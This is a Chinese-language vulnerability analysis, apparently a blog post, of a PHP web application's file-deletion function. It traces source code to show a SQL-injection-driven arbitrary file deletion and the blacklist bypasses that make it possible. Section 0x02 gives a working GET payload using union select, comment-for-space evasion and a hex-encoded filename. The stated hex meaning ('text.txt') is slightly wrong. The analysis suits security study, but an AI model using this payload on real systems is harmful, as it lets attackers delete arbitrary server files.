PHP…

0x01

任意文件删除

漏洞分析

漏洞出现在/webrock/public/upload/uploadAction.php的delfileAjax函数

1
2
3
4
5
public function delfileAjax()
{
$id = $this->request('id');
m('file')->delfile($id);
}

跟到request函数
在/include/class/rookClass.php中

1
2
3
4
5
6
7
public function request($name,$dev='', $lx=0)
{
$val = '';
if(isset($_REQUEST[$name]))$val=$_REQUEST[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}

可以看到这里通过REQUEST传递参数值,跟到jmuncode函数,在request函数的下方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function jmuncode($s, $lx=0, $na)
{
$jmbo = false;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
$s=str_replace("'", '&#39', $s);
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params');
$s = str_replace($v1,'', $str);
//exit(''.$na.' invalid params');
}
return $s;
}

发现就是对传递进来的\$s做了一些处理,\$this->lvlaras在文件开头有定义

1
$this->lvlaras  = explode(',','select ,alter table,delete ,drop ,update ,insert into,load_file,outfile');

虽然把一些关键词都过滤了,但是由于是匹配’select ‘,可以通过’select /**/‘,利用’/**/‘绕过空格过滤.
回到delfileAjax函数,其中的id就是通过GET方式传递即可,接下来看到delfile函数
在/webrock/mode/fileModel.php中

1
2
3
4
5
6
7
8
9
10
11
public function delfile($sid='', $where='')
{
if($sid!='')$where = "`id` in ($sid)";
if($where=='')return;
$rows = $this->getall($where, 'filepath');
foreach($rows as $k=>$rs){
$path = ''.ROOT_PATH.'/'.$rs['filepath'].'';
if(file_exists($path))unlink($path);
}
$this->delete($where);
}

发现是通过()闭合,所以可以直接无视gpc,跟到getall函数
在/include/Model.php中

1
2
3
4
5
6
7
8
9
10
11
public function getall($where, $fields='*', $order='', $limit='')
{
$sql = $this->db->getsql(array(
'fields' => $fields,
'table' => $this->table,
'where' => $where,
'order' => $order,
'limit' => $limit
));
return $this->db->getall($sql);
}

跟到getsql函数
在/include/class/mysql.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function getsql($arr=array())
{
$where = $table = $order = $limit = $group = '';
$fields = '*';
if(isset($arr['table']))$table=$arr['table'];
if(isset($arr['where']))$where=$arr['where'];
if(isset($arr['order']))$order=$arr['order'];
if(isset($arr['limit']))$limit=$arr['limit'];
if(isset($arr['group']))$group=$arr['group'];
if(isset($arr['fields']))$fields=$arr['fields'];
$where = $this->getwhere($where);
$table = $this->gettable($table);
$sql = "SELECT $fields FROM $table";
if($where!=''){
$where = $this->filterstr($where);
$sql.=" WHERE $where";
}
if($order!='')$sql.=" ORDER BY $order";
if($group!='')$sql.=" GROUP BY $group";
if($limit!='')$sql.=" LIMIT $limit";
return $sql;
}

跟到filterstr函数
在getsql函数下面

1
2
3
4
5
6
7
8
9
public function filterstr($str)
{
$str = strtolower($str);
$file= explode(', ','delete,drop,update,union,exec,insert,declare,master,truncate,create,alter,database');
$res = array();
foreach($file as $fid)$res[]='';
$str = str_replace($file, $res, $str);
return $str;
}

由于这里在分割的时候,指定的字符串是’, ‘,这里逗号后面时候空格的,所以没有起到过滤的作用
回到getall函数,跟到\$this->db->getall函数
在/include/class/mysql.php中

1
2
3
4
5
6
7
8
9
10
11
12
public function getall($sql)
{
$res=$this->query($sql);
$arr=array();
if($res){
while($row=$this->fetch_array($res)){
$arr[] = $row;
$this->count++;
}
}
return $arr;
}

直接返回了查询结果,回到defil函数

1
2
3
4
foreach($rows as $k=>$rs){
$path = ''.ROOT_PATH.'/'.$rs['filepath'].'';
if(file_exists($path))unlink($path);
}

接着有一个删除文件的操作,这样就造成了任意文件删除的漏洞
接下来寻找利用的路由,看到/index.php

1
2
<?php
include_once('rock.php');

跟到rock.php

1
2
3
4
5
6
7
8
include_once('config/config.php');
$m = $rock->jm->gettoken('m', 'index'); //index
$d = $rock->jm->gettoken('d'); //''
$a = $rock->jm->gettoken('a', 'default'); //default
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false'); //false
$mode = $rock->get('m', $m); //index
if(!$config['install'] && $mode != 'install')$rock->location('?m=install');//可删除判断是否有安装的
include_once('include/View.php');

跟到config/config.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@session_start();
//date_default_timezone_set("PRC");
header('Content-Type:text/html;charset=utf-8');
define('ROOT_PATH',str_replace('\\','/',dirname(dirname(__FILE__))));
define('DEBUG', true);
include_once(''.ROOT_PATH.'/include/rockFun.php');
include_once(''.ROOT_PATH.'/include/Chajian.php');
include_once(''.ROOT_PATH.'/include/class/rockClass.php');
$rock = new rockClass();
$db = null;
$smarty = false;
define('HOST', $rock->host);
define('REWRITE', 'true');
if(!defined('PROJECT'))define('PROJECT', $rock->get('p', 'webrock'));
...
$rock->initRock();

这里定义了一些变量,同时包含了一些文件,这里看到PROJECT的定义,跟到rockClass类下的get函数
在/include/class/rockClass.php中

1
2
3
4
5
6
7
public function get($name,$dev='', $lx=0)
{
$val=$dev;
if(isset($_GET[$name]))$val=$_GET[$name];
if($this->isempt($val))$val=$dev;
return $this->jmuncode($val, $lx, $name);
}

跟到jmuncode函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public function jmuncode($s, $lx=0, $na)
{
$jmbo = false;
if($lx==3)$jmbo = $this->isjm($s);
if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){
$s = str_replace('rockjm_', '', $s);
$s = $this->jm->uncrypt($s);
if($lx==1){
$jmbo = $this->isjm($s);
if($jmbo)$s = $this->jm->uncrypt($s);
}
}
$s=str_replace("'", '&#39', $s);
if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);
$str = strtolower($s);
foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){
$this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params');
$s = str_replace($v1,'', $str);
//exit(''.$na.' invalid params');
}
return $s;
}

这样可以总结出get函数的功能,如果不存在GET传递第一个参数的值,默认就返回第二个参数的值,否则就为’’
回到config.php,跟到最后的initRock函数
在/include/class/rockClass.php中

1
2
3
4
5
6
7
public function initRock()
{
$this->jm = c('jm', true);
$this->adminid = (int)$this->session(QOM.'adminid',0);
$this->adminname= $this->session(QOM.'adminname');
$this->adminuser= $this->session(QOM.'adminuser');
}

跟到c函数
在/include/rockFun.php中

1
2
3
4
5
6
7
8
9
10
11
function c($name, $inbo=true, $param1='', $param2='')
{
$class = ''.$name.'Chajian';
$path = ''.ROOT_PATH.'/include/chajian/'.$class.'.php';
$cls = NULL;
if(file_exists($path)){
include_once($path);
if($inbo)$cls = new $class($param1, $param2);
}
return $cls;
}

可以发现是实例化了jmChajian类,返回了一个对象
回到rock.php

1
2
3
4
5
$m            = $rock->jm->gettoken('m', 'index');
$d = $rock->jm->gettoken('d'); //''
$a = $rock->jm->gettoken('a', 'default');
$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$mode = $rock->get('m', $m);

跟到jmChajian类下的gettoken函数

1
2
3
4
5
6
7
8
9
10
public function gettoken($na, $dev='')
{
$s = $dev;
if(isset($this->rocktokenarr[$na])){
$s = $this->rocktokenarr[$na];
}else{
$s = $this->rock->get($na, $dev);
}
return $s;
}

这里调用了rock类的get函数,所以和之前是一样的.
m的默认值是index,d的默认值是空,a的默认值是default,ajaxbool的默认值是false,mode的默认值是index
接着跟到/include/View.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
if(!isset($ajaxbool))$ajaxbool = $rock->jm->gettoken('ajaxbool', 'false');
$ajaxbool = $rock->get('ajaxbool', $ajaxbool);
$p = PROJECT; //webrock
if(!isset($m))$m='index';
if(!isset($a))$a='default';
if(!isset($d))$d='';
$m = $rock->get('m', $m);
$a = $rock->get('a', $a);
$d = $rock->get('d', $d);

define('M', $m);
define('A', $a);
define('D', $d);
define('P', $p);

$_m = $m;
if($rock->contain($m, '|')){
$_mas = explode('|', $m);
$m = $_mas[0];
$_m = $_mas[1];
}
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));
$rand = date('YmdHis').rand(1000,9999);
if(substr($d,-1)!='/' && $d!='')$d.='/';
$errormsg = '';
$methodbool = true;
$actpath = $rock->strformat('?0/?1/?2?3',ROOT_PATH, $p, $d, $_m);
define('ACTPATH', $actpath);
$actfile = $rock->strformat('?0/?1Action.php',$actpath, $m);
$actfile1 = $rock->strformat('?0/?1Action.php',$actpath, $_m);
if(file_exists($actfile1))include_once($actfile1);
if(file_exists($actfile)){
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
$xhrock->beforeAction();
$xhrock->$actname();
}else{
$methodbool = false;
if($ajaxbool == 'false')echo ''.$actname.' not found';
}
$xhrock->afterAction();
}else{
echo ''.$actfile.' not found';
$xhrock = new Action();
}
...

看到文件包含部分

1
include_once($rock->strformat('?0/?1/?1Action.php',ROOT_PATH, $p));

跟到rock类的strformat函数
/include/class/rockClass.php

1
2
3
4
5
6
7
8
public function strformat($str)
{
$len = func_num_args();
$arr = array();
for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);
$s = $this->stringformat($str, $arr);
return $s;
}

跟到stringformat函数

1
2
3
4
5
6
7
8
public function stringformat($str, $arr=array())
{
$s = $str;
for($i=0; $i<count($arr); $i++){
$s=str_replace('?'.$i.'', $arr[$i], $s);
}
return $s;
}

这里可以分析出strformat函数的功能,从第二个参数开始依次以?0…向第一个参数填充数据,所以这里包含的文件是/webrock/webrokAction.php
往下看可以发现有一个实例化类的操作

1
2
3
4
5
6
7
8
9
include_once($actfile);
$clsname = ''.$m.'ClassAction';
$xhrock = new $clsname();
$actname = ''.$a.'Action';
if($ajaxbool == 'true')$actname = ''.$a.'Ajax';
if(method_exists($xhrock, $actname)){
$xhrock->beforeAction();
$xhrock->$actname();
}

实例化的类名可以被GET传递的参数值控制,又因为函数是delfileAjax,所以这里要让\$ajaxbool为true即可


0x02

漏洞利用

注册一个用户,登陆之后,访问
payload:

1
GET:d=public/&m=upload&a=delfile&ajaxbool=true&id=0,-1)/**/union/**/select/**/0x746573742e747874%23

0x746573742e747874是text.txt的十六进制,因为数据库会把’*.*‘解析为’数据库.数据表’,所以这里使用十六进制
执行前


执行后


0x03

One’storm

这里测试payload的时候对于d参数最后的’/‘加不加好像都没有影响,可是从代码来看,是需要自己添加的…

(ง •_•)ง